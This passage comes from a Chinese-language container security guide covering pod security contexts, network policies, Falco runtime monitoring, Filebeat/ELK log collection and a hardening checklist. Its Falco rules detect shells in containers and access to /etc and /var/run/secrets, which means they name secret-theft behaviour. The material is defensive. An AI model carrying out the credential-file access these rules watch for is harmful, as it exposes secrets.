  • seccompProfile.type: RuntimeDefault啟用預設的Seccomp設定案
  • 容器級別的安全上下文進一步限制了許可權:禁止許可權提升、移除所有capabilities、設定根檔案系統為只讀

第二個是網路策略設定,實施了精細的網路存取控制:只允許帶有role: backend標籤的Pod透過5432連線埠存取帶有role: db標籤的Pod。這種設定實作了最小許可權原則,只允許必要的網路通訊。

這些設定共同構建了深度防禦策略,即使一層防禦被突破,其他層仍然可以提供保護。在生產環境中,應該結合使用這些控制措施,並定期稽核和更新安全設定。

容器安全監控與檢測

容器執行時安全監控

除了預防措施外,實時監控容器行為對於檢測和回應安全事件至關重要:

# 使用Falco監控容器行為
docker run -d --name falco --privileged \
    -v /var/run/docker.sock:/var/run/docker.sock \
    -v /dev:/dev \
    -v /proc:/host/proc:ro \
    -v /boot:/host/boot:ro \
    -v /lib/modules:/host/lib/modules:ro \
    -v /usr:/host/usr:ro \
    falcosecurity/falco

Falco規則範例:

- rule: Terminal Shell in Container
  desc: A shell was spawned in a container
  condition: container.id != "" and proc.name = bash
  output: "Shell spawned in container (container=%container.name)"
  priority: WARNING

- rule: File Access in Sensitive Directory
  desc: Detect file access in sensitive directories
  condition: container.id != "" and (fd.directory = /etc or fd.directory = /var/run/secrets)
  output: "Sensitive directory accessed (user=%user.name container=%container.name command=%proc.cmdline)"
  priority: WARNING

這段程式碼展示瞭如何使用Falco進行容器執行時安全監控。Falco是一個開放原始碼的行為活動監控工具,可以檢測容器、應用和主機的異常行為。它透過監控系統呼叫來識別可疑活動,並根據預定義的規則生成警示。

在這個例子中,Falco以特權容器形式執行,需要存取多個主機目錄和Docker通訊端。範例規則定義了兩種需要監控的行為:

  1. 在容器中啟動shell(可能表示有人嘗試互動式存取容器)
  2. 存取敏感目錄如/etc或/var/run/secrets(可能表示嘗試存取設定案或金鑰)

當這些行為被檢測到時,Falco會生成警示,包含相關上下文訊息如容器名稱、使用者名和命令列。這種實時監控可以幫助快速檢測潛在的安全事件,如容器逃逸嘗試或資料竊取。在生產環境中,應該將Falco與SIEM(安全訊息和事件管理)系統整合,實作集中化的安全監控和回應。

容器日誌分析

容器日誌分析是檢測安全事件的另一個重要方面:

# 使用ELK堆積積疊收集和分析容器日誌
docker run -d --name filebeat \
    --user=root \
    --volume="/var/lib/docker/containers:/var/lib/docker/containers:ro" \
    --volume="/var/run/docker.sock:/var/run/docker.sock:ro" \
    docker.elastic.co/beats/filebeat:7.10.0 \
    -e -strict.perms=false

Filebeat設定範例:

filebeat.inputs:
- type: container
  paths:
    - '/var/lib/docker/containers/*/*.log'
  processors:
    - add_docker_metadata:
        host: "unix:///var/run/docker.sock"

processors:
- decode_json_fields:
    fields: ["message"]
    target: "json"
    overwrite_keys: true

output.elasticsearch:
  hosts: ["elasticsearch:9200"]

這段程式碼展示瞭如何使用Elastic Stack(ELK)收集和分析容器日誌。在這個設定中,Filebeat作為日誌收集器,從Docker容器日誌目錄讀取日誌檔案,並將它們傳送到Elasticsearch進行索引和分析。

Filebeat設定包含三個主要部分:

  1. 輸入設定:指定從/var/lib/docker/containers/目錄收集容器日誌,並增加Docker中繼資料(如容器名稱、映像等)
  2. 處理器設定:將JSON格式的日誌訊息解碼為結構化欄位,便於搜尋和分析
  3. 輸出設定:將處理後的日誌傳送到Elasticsearch服務

這種設定使安全團隊能夠集中查詢和分析所有容器的日誌,識別可疑模式和潛在的安全事件。例如,可以建立警示來檢測異常登入嘗試、許可權變更或敏感檔案存取。在生產環境中,應該考慮增加Kibana進行視覺化,以及設定根據日誌內容的警示規則。

安全最佳實踐總結

為確保容器環境的安全,應遵循以下最佳實踐:

映像安全

  • 使用最小化基礎映像,如Alpine或distroless
  • 實施多階段構建,減少最終映像的攻擊面
  • 定期掃描映像中的漏洞,並及時修復
  • 使用私有倉函式庫,避免從不受信任的來源提取映像
  • 啟用Docker Content Trust,確保映像完整性

容器執行時安全

  • 以非root使用者執行容器,減少許可權提升風險
  • 限制容器capabilities,只提供必要的許可權
  • 使用AppArmor和Seccomp設定案限制容器操作
  • 避免使用–privileged標誌和掛載敏感目錄
  • 實施資源限制,防止DoS攻擊

網路安全

  • 實施網路分段,限制容器間通訊
  • 使用加密保護容器間和容器到外部的通訊
  • 保護Docker API和Kubernetes API,使用TLS和身份驗證
  • 定期稽核網路規則和防火牆設定

機密管理

  • 使用專門的機密管理解決方案,如Docker Secrets或Vault
  • 避免在Dockerfile或環境變數中儲存敏感資訊
  • 實施最小許可權原則,限制對機密的存取

監控與回應

  • 佈署執行時安全監控工具,如Falco
  • 集中收集和分析容器日誌
  • 建立安全事件回應流程,及時處理安全事件
  • 定期進行安全評估和滲透測試

容器技術的安全性是一個持續發展的領域,需要DevOps和安全團隊的密切合作。透過理解容器的安全風險並實施適當的防護措施,組織可以安全地享受容器化技術帶來的便利,同時保護其基礎設施免受潛在威脅。

隨著容器技術的不斷發展,新的安全挑戰也會不斷出現。保持對最新安全趨勢和最佳實踐的關注,定期更新安全策略和工具,是確保容器環境長期安全的關鍵。在容器安全領域,防禦深度和持續改進是兩個核心原則,應該貫穿於整個容器生命週期管理中。